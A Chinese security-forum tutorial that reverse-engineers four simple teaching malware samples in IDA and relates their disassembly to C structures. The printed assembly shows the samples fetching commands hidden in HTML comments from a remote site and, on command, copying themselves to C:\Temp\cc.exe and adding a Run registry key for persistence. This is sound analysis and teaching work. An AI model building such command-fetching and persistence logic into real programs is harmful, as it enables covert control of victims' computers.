问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
从反汇编看恶意程序的C语言结构
安全工具
本文利用IDA分析4个简单的恶意程序，旨在基本掌握这4个恶意程序的C语言逻辑结构，同时这4个程序功能逐渐递增，循序渐进。笔者也是初学者，有些不足之处在所难免，请师傅们斧正
0x00 前言 ------- 本文利用IDA分析4个简单的恶意程序，旨在基本掌握这4个恶意程序的C语言逻辑结构，同时这4个程序功能逐渐递增，循序渐进。笔者也是初学者，有些不足之处在所难免，请师傅们斧正 0x01 ---- 详细分析 ---- 首先静态分析该exe文件，看下导入函数，其中一个调用了 `WININET.dll`中的 `InternetGetConnectedState` 函数，这个跟其他调用 `kernel32.dll` 中的函数相比，显得有些特殊。 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-2f48b1085fc9831519fe8075c8936be4d23850f5.png) 查阅文档可知，这是一个 判断本地网络连接状态的函数，连接成功返回1，连接失败返回0 [互联网连接状态功能 （wininet.h） - win32 应用程序|微软文档 (microsoft.com)](https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetgetconnectedstate) ```c++ BOOL InternetGetConnectedState( [out] LPDWORD lpdwFlags, [in] DWORD dwReserved ); ``` 找到了main 函数，就从这里开始分析 `main`函数位于`401040`，调用了`401000`处的函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-fdb02ce845d549afd058aaa34286a072f4514217.png) 跳过去看看 上面一大堆没用的是编译器生成的，不要陷入其中 看到该区段的权限是 可读/可执行，并且调用了 `InternetGetConnectedState` 函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d2d23fc28ef32e551f28495d93d901561cd1970a.png) 不看流程图的话大概也可以看出这是一个 if 语句的汇编代码，`cmp [ebp+var_4] ，0` ，根据结果跳转到不同的分支 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-daebd9baa7c36c3f0c52dd062b8cdf605d49549b.png) 在 `View->Graphs->Flow chart`可以查看流程图，相比较于空格的 流程图，更简洁明了 这里使用cmp指令对保存了返回结果的eax寄存器与0比较，然后使用 jz 指令控制执行流。上面我们提到，当 建立网络连接时，`InternetGetConnectedState`函数返回1，否则返回0. 如果结果是1，0标志位（ZF）会被清除，jz跳转到1所在的`false`分支，否则跳转到`true`分支 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d04a034324fabcde3c1bf865f55488e1dd5a9a21.png) 下面分析这个位于 `40105f`处的子过程 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7342ec191afdad4c6600d87730a74bda4f77700c.png) [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-39a674e708c3d07a474781b5e8d96635b62d2d04.png) 其实这里是`printf` 函数，但是我们并没有看到一些printf函数的特征，这就需要去找一些其他的特征来证明这里是`printf`函数 在调用这个函数之前，都向栈中`push`了 一串 格式化字符串，并且结尾是`\n` 换行符，因此可以推出这里调用的函数就是 `printf` 上面都是是根据静态分析得出的结论，真正的结果还是要实践检验一下，确实与我们分析的结果一样 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-09525868c1589dd8eb418737cfca95078bd71e56.png) ### 总结 这个恶意代码的主要功能就是检查是否存在 `Internet`连接，存在输出1，否则输出0。 0x02 ---- #### 详细分析 首先还是看到这个pe文件的导入表 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d904fefd14061930ed5417ee397f5fdb700203f7.png) ```php InternetOpenUrl: 通过FTP或 HTTP URL打开一个原始资源。如果连接成功建立，则返回一个有效的句柄，如果连接失败，则返回 NULL internetclosehandle ：关闭句柄，成功关闭返回 true，否则返回false InternetReadFile： 从InternetOpenA打开的句柄读取数据 InternetGetConnectedState： 验证网络连接状态 InternetOpenA: 设置用户代理，即HTTP的 user-agent 头 ``` 看到其中的一些字符串，在结合上面调用的 api函数，不难猜出，要访问的url地址 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7a760dcfee3dfbeb34ef804b0d9900318aadb704.png) 接着来分析 main 函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-24c042a9580a5bca380cb9a4a91d2b6a76f70ded.png) `401000` 处这里就不说了，和前面一样 但是401000 这里还调用的 `40117f`，跳过去看看 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-babd95f49453ec00047b1f3c11f4bd834949eeaa.png) 这个结构很像前面分析的 `printf`函数，那我们再往前看一看。 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a5ce8215e40b0068cf56842bf047e716db89fdc6.png) 果然，在push入栈中也有一串格式化的字符串，基本可以确定`40117f` 处的函数是 `printf`函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7c757dc3575d88c5173096bd24b1e8df0e85c954.png) 同时，main 函数中还调用了另一个`401040`函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-0a402262b3cd60a48f9b588ef3a12cd9b85a09ab.png) 这里包含了所有 前面发现的 WinINet api的调用。首先调用了`InternetOpen` ，以初始化对`WinINet`的使用。在这之前，将 `Internet Explorer 7.5` `push` 入栈，当作 User-Agent 头部，接着调用 `InternetOpenUrl` ，打开该静态网页 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-4165432a8f46181055c7a2cb41aa3a8427c9732c.png) 可以看到，调用完 `InternetOpenUrl`后，返回值被赋值给了hFIle，并接着与0比较，如果等于0会返回，否则跳转到`40109D`，hFile被传递给`InternetReadFIle`函数。 `InternetReadFile` 函数用于从`InternetOpenUrlA`打开的网页中读取内容。在调用完后，会和0比较，如果为0，该函数会关闭句柄并终止，否则会跳转到 `4010E5`，逐步比较 buffer 数组 与每个字符的值， [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-42a392f6dc9c7f67e34bc68a93b4b264ebd473c0.png) 这里有注释会好很多<!— ,否则的话，最开始的 3c 对应的ASCII码是 <，也可以一一对应 出 <!— ，这是html中注释的开始部分。 这时候就可以猜测存在 http 交互 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-d0f3414167672805ee15d45d52f283bfbf2d958b.png) 因此大概就可以确定，如果 buffer 的前 4个字节与 <!— 匹配成功的话，第5个字符就会被移到 AL 中并返回。 接着分析 main 函数， 看到在 401173 处 ，调用了 sleep 函数，传递的参数为 0xEA60h，即60000ms，1min [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-6098a31fd806f67160b5cd96b439c5cee82aa63e.png) ### 总结 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-0d092d92538f08e6ac8a2cede242ee45c1f91b63.png) 该恶意样本检查是否有可用的网络连接，如果不存在，终止运行，否则返回 true，使用代理去下载其中包含的一个网址中的内容，这个网址包含注释，并且将printf解析后的字符串 “success： Parsed command is %c”到屏幕，输出成功的话，会sleep一分钟。这种方式是通过注释来隐藏指令，使得恶意代码看起来像是访问正常网页。 0x03 ---- #### 详细分析 还是先看看导入表，一些旧东西 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-6241ce0b82ef6dae51551735dc3cb20c9cb0b9cf.png) 修改注册表的api函数， RegSet ValueExA和 RegOpenKeyExA 一起用于向注册表中插入信息，在设置应用程序启动项/开机自启时，通常会使用这两个函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6f4e4df8b83b6c5d84fca7fbc8fa204e169e161.png) 字符串也是发现了一些很有意思的，在临时目录会生成 cc.exe 文件，还会去修改注册表的自启动项目录 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-6d027d01c8b0d4ecbb24ddde34023adc14cd87a1.png) 下面接着看main 函数，与上一个恶意样本很像，接下来就找不同 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-760bb42c482364d955513e7b0dc124ab11f16764.png) 401000 处的检查网络连接和 401040处的下载网页与 上一篇基本相同，而不同的是这里多了对401030的调用 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-803e26d87eb1ce121c7233932c13a23561e0b79a.png) 仔细分析 401130处的函数 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-053b918ebbfb122a0a27359e49dd476c026df675.png) 根据注释可以看出是 switch 分支语句 看下它传入的参数，在调用前，传入了 argv 和 var\_8 push入栈作为参数，这里的 argv就是argv\[0\]，就是这个程序的字符串引用， [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-ca12ee0ab218462c35a17c85a330bf58fb895d88.png) 追踪 var\_8 参数，发现在 40122D 处被设置为AL。此时 eax 存放的是上一个调用函数 401040的返回值，即html注释中的解析字符 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e6e1357abc4899d8c7ff13f04203d1292ade11c7.png) 再来分析401130 arg\_0 是IDA 自动生成的标签，用于标记调用函数前最后一个被push入栈的参数，所以这里的 arg\_0 是解析得到的html指令字符，并赋值给 var\_8，接着加载到ecx中执行，减去61h，因此，如果传入的arg\_0 =a，执行sub指令后，ecx归0 接下来 cmp ecx 和4，检查 arg\_0 是否是 a-e 中的某个字符，如果不是，ja 跳转到 401153，如果是的话，这个指令字符放入edx中，被用作跳转表的索引，看到下面 edx\*4，因为这是switch结构，跳转表是一组指向不同函数的地址表，每个地址的大小占4个字节，而下面也正如我们所料，跳转表有5条记录 ```assembly .text:00401130 push ebp .text:00401131 mov ebp, esp .text:00401133 sub esp, 8 .text:00401136 movsx eax, [ebp+arg_0] .text:0040113A mov [ebp+var_8], eax .text:0040113D mov ecx, [ebp+var_8] .text:00401140 sub ecx, 61h ; 'a' ; switch 5 cases .text:00401143 mov [ebp+var_8], ecx .text:00401146 cmp [ebp+var_8], 4 .text:0040114A ja def_401153 ; jumptable 00401153 default case .text:00401150 mov edx, [ebp+var_8] .text:00401153 jmp ds:jpt_401153[edx*4] ; switch jump .text:0040115A ; --------------------------------------------------------------------------- .text:0040115A .text:0040115A loc_40115A: ; CODE XREF: sub_401130+23↑j .text:0040115A ; DATA XREF: .text:jpt_401153↓o .text:0040115A push 0 ; jumptable 00401153 case 97 .text:0040115C push offset PathName ; "C:\\Temp" .text:00401161 call ds:CreateDirectoryA .text:00401167 jmp loc_4011EE .text:0040116C ; --------------------------------------------------------------------------- .text:0040116C .text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j .text:0040116C ; DATA XREF: .text:jpt_401153↓o .text:0040116C push 1 ; jumptable 00401153 case 98 .text:0040116E push offset Data ; "C:\\Temp\\cc.exe" .text:00401173 mov eax, [ebp+lpExistingFileName] .text:00401176 push eax ; lpExistingFileName .text:00401177 call ds:CopyFileA .text:0040117D jmp short loc_4011EE ``` [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-1ec55b1cf8f45ed216d5cd07ae125fb5dfb34c82.png) 分别来看这5条语句调用函数的地址 ```assembly .text:0040115A loc_40115A: ; CODE XREF: sub_401130+23↑j .text:0040115A ; DATA XREF: .text:jpt_401153↓o .text:0040115A push 0 ; jumptable 00401153 case 97 .text:0040115C push offset PathName ; "C:\\Temp" .text:00401161 call ds:CreateDirectoryA .text:00401167 jmp loc_4011EE .text:0040116C ; --------------------------------------------------------------------------- .text:0040116C .text:0040116C loc_40116C: ; CODE XREF: sub_401130+23↑j .text:0040116C ; DATA XREF: .text:jpt_401153↓o .text:0040116C push 1 ; jumptable 00401153 case 98 .text:0040116E push offset Data ; "C:\\Temp\\cc.exe" .text:00401173 mov eax, [ebp+lpExistingFileName] .text:00401176 push eax ; lpExistingFileName .text:00401177 call ds:CopyFileA .text:0040117D jmp short loc_4011EE .text:0040117F ; --------------------------------------------------------------------------- .text:0040117F .text:0040117F loc_40117F: ; CODE XREF: sub_401130+23↑j .text:0040117F ; DATA XREF: .text:jpt_401153↓o .text:0040117F push offset Data ; jumptable 00401153 case 99 .text:00401184 call ds:DeleteFileA .text:0040118A jmp short loc_4011EE .text:0040118C ; --------------------------------------------------------------------------- .text:0040118C .text:0040118C loc_40118C: ; CODE XREF: sub_401130+23↑j .text:0040118C ; DATA XREF: .text:jpt_401153↓o .text:0040118C lea ecx, [ebp+phkResult] ; jumptable 00401153 case 100 .text:0040118F push ecx ; phkResult .text:00401190 push 0F003Fh ; samDesired .text:00401195 push 0 ; ulOptions .text:00401197 push offset SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"... .text:0040119C push 80000002h ; hKey .text:004011A1 call ds:RegOpenKeyExA .text:004011A7 push 0Fh ; cbData .text:004011A9 push offset Data ; "C:\\Temp\\cc.exe" .text:004011AE push 1 ; dwType .text:004011B0 push 0 ; Reserved .text:004011B2 push offset ValueName ; "Malware" .text:004011B7 mov edx, [ebp+phkResult] .text:004011BA push edx ; hKey .text:004011BB call ds:RegSetValueExA .text:004011C1 test eax, eax .text:004011C3 jz short loc_4011D2 .text:004011C5 push offset aError31CouldNo ; "Error 3.1: Could not set Registry value"... .text:004011CA call sub_401271 .text:004011CF add esp, 4 .text:004011D2 .text:004011D2 loc_4011D2: ; CODE XREF: sub_401130+93↑j .text:004011D2 jmp short loc_4011EE .text:004011D4 ; --------------------------------------------------------------------------- .text:004011D4 .text:004011D4 loc_4011D4: ; CODE XREF: sub_401130+23↑j .text:004011D4 ; DATA XREF: .text:jpt_401153↓o .text:004011D4 push 186A0h ; jumptable 00401153 case 101 .text:004011D9 call ds:Sleep .text:004011DF jmp short loc_4011EE ``` ```php a：调用createdirectory函数，参数是 C:\\Temp，如果该目录不存在，则创建该目录 b：调用copy file函数，两个参数分别是源文件（argv[0]即目标程序）和目的文件（C:\\Temp\cc.exe） c：调用deletefile函数，当 C:\\Temp\cc.exe 文件存在时删除它 d：调用 RegSet ValueExA和 RegOpenKeyExA 在注册表中添加开机自启，即将Software\Microsoft Windows \CurrentVersion\Run\Malware 的值添加为C:\\Temp\cc.exe,这样目标机器每次开机时都会启动该恶意程序 e：调用sleep函数，参数100s ``` ### 总结 该程序的主要功能也了然于胸了，首先 if 判断是否联网，不联网程序终止。联网的话程序会去下载一个网页，其中包含了html的注释头部，并解析出第一个字符，用来校验switch的参数，决定执行哪条语句（创建目录/拷贝文件/删除文件/修改注册表/sleep） 0x04 ---- #### 详细分析 首先还是先看下导入表，和前面一样，并没有多余的改变。 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-a12bf9296a0d1993709e9b3159707d736f4c2e7f.png) [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-f74de78d50e46b687dcdc4825e8071dc7234d964.png) 字符串的唯一变化就是多了 Internet Explorer 7.5 ，看来是多了个 user-agent 代理 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-68b5f931e1def94afabd60c197db8588d13362be.png) 相同的这些就不说了，来看看不同点有哪些 来到main函数这里，也是很多相同的函数，401000（判断Internet是否连接），401040（解析HTML），4012b5（printf函数），401150（switch语句） [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-ea7e3c57db85741a2cd57697cf6578d7e1b8da06.png) [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-658e71c4bf8ff469eb99a191ce404030b0f00a88.png) [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-e108106ef6ebe582d41c10d53d2b8ea3017dfab6.png) 而当我们看整个函数视图的时候，发现了一个向上的箭头，很明显出现了循环 [](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-bbd94dadaf7a59ed35edb764940bac583dad38d5.png) 那就来分析下这段循环结构 ```assembly 00401248 ; --------------------------------------------------------------------------- .text:00401248 .text:00401248 loc_401248: ; CODE XREF: _main+12↑j .text:00401248 mov [ebp+var_C], 0 .text:0040124F jmp short loc_40125A .text:00401251 ; --------------------------------------------------------------------------- .text:00401251 .text:00401251 loc_401251: ; CODE XREF: _main+7D↓j .text:00401251 mov eax, [ebp+var_C] .text:00401254 add eax, 1 .text:00401257 mov [ebp+var_C], eax .text:0040125A .text:0040125A loc_40125A: ; CODE XREF: _main+1F↑j .text:0040125A cmp [ebp+var_C], 5A0h .text:00401261 jge short loc_4012AF .text:00401263 mov ecx, [ebp+var_C] .text:00401266 push ecx .text:00401267 call sub_401040 .text:0040126C add esp, 4 .text:0040126F mov [ebp+var_8], al .text:00401272 movsx edx, [ebp+var_8] .text:00401276 test edx, edx .text:00401278 jnz short loc_40127E .text:0040127A xor eax, eax .text:0040127C jmp short loc_4012B1 .text:0040127E ; --------------------------------------------------------------------------- .text:0040127E .text:0040127E loc_40127E: ; CODE XREF: _main+48↑j .text:0040127E movsx eax, [ebp+var_8] .text:00401282 push eax .text:00401283 push offset aSuccessParsedC ; "Success: Parsed command is %c\n" .text:00401288 call sub_4012B5 .text:0040128D add esp, 8 .text:00401290 mov ecx, [ebp+argv] .text:00401293 mov edx, [ecx] .text:00401295 push edx ; lpExistingFileName .text:00401296 mov al, [ebp+var_8] .text:00401299 push eax ; char .text:0040129A call sub_401150 .text:0040129F add esp, 8 .text:004012A2 push 0EA60h ; dwMilliseconds .text:004012A7 call ds:Sleep .text:004012AD jmp short loc_401251 ``` 很明显，var\_c 是用来循环计数的，在 4012AD 处 jmp 401251，返回递增，如果大于5A0h(1440d) 就在401261处跳出循环到 4012AF，循环结束.否则程序接着运行，在401263处开始。将ecx（var\_c） push入栈，接着调用401040（解析html）函数，然后慢慢执行，在4012A7 处调用sleep函数，参数是 EA60h（60000d），即1分钟，所以这个程序会sleep 1440 分钟（24小时） 在上一个程序中，401040 处并没有参数，而这里传入了 arg\_0 作为参数，并且是唯一的参数，而在调用 401040 前，push进了ecx，即var\_c，所以这里的arg\_0 就是var\_c（计数器），push arg\_0入栈后，接着push了 Internet Explorer 7.50/pma%d 字符串，和 szAgent的地址。然后调用\_sprintf 函数，用来将格式化的数据写入字符串，并存储在szAgent 中。然后在40106a调用 INternetOpen 函数，传入的参数是 szAgent，也就是说，每次var\_C 计数器增加后， user-agent长度也会随之改变。这里就可以用来监测该程序运行了多长时间。 ```assembly text:00401040 push ebp .text:00401041 mov ebp, esp .text:00401043 sub esp, 230h .text:00401049 mov eax, [ebp+arg_0] .text:0040104C push eax .text:0040104D push offset Format ; "Internet Explorer 7.50/pma%d" .text:00401052 lea ecx, [ebp+szAgent] .text:00401055 push ecx ; Buffer .text:00401056 call _sprintf .text:0040105B add esp, 0Ch .text:0040105E push 0 ; dwFlags .text:00401060 push 0 ; lpszProxyBypass .text:00401062 push 0 ; lpszProxy .text:00401064 push 0 ; dwAccessType .text:00401066 lea edx, [ebp+szAgent] .text:00401069 push edx ; lpszAgent .text:0040106A call ds:InternetOpenA .text:00401070 mov [ebp+hInternet], eax .text:00401073 push 0 ; dwContext .text:00401075 push 0 ; dwFlags .text:00401077 push 0 ; dwHeadersLength .text:00401079 push 0 ; lpszHeaders .text:0040107B push offset szUrl ; "http://www.practicalmalwareanalysis.com"... .text:00401080 mov eax, [ebp+hInternet] .text:00401083 push eax ; hInternet .text:00401084 call ds:InternetOpenUrlA .text:0040108A mov [ebp+hFile], eax .text:0040108D cmp [ebp+hFile], 0 .text:00401091 jnz short loc_4010B1 .text:00401093 push offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n" .text:00401098 call sub_4012B5 .text:0040109D add esp, 4 .text:004010A0 mov ecx, [ebp+hInternet] .text:004010A3 push ecx ; hInternet .text:004010A4 call ds:InternetCloseHandle .text:004010AA xor al, al .text:004010AC jmp loc_401140 ``` ### 总结 首先，程序会使用if结构检查是否建立连接。如果无，程序终止运行。否则，程序使用 一个上面提到的的User-Agent 来下载一个html， 这个User-Agent包含了一个循环结构的计数器，用于向attacker显示程序已 经运行了多长时间。下载的网页中包含了以<!--开头的html注释代码，这段注释代码中 接下来的第一个字符被用于一个switch语句，以决定接下来在本地系统的行为。包括删除文件、创建个目录、 设置一个注册表run键、复制文件、休眠100秒等。最终该程序会运行24小时后终止。 总结 -- 通过简单的反汇编看简单恶意文件的C语言结构就先到这里，思路我上面都有提到，更复杂的我也正在慢慢学习，欢迎一起交流学习
发表于 2021-11-03 09:40:57
阅读 ( 5005 )
分类：
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
0r@nge
4 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息：
广告、推广、测试等内容
违规内容：
色情、暴力、血腥、敏感信息等内容
不友善内容：
人身攻击、挑衅辱骂、恶意行为
其他原因：
请补充说明
举报原因:
×
如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！
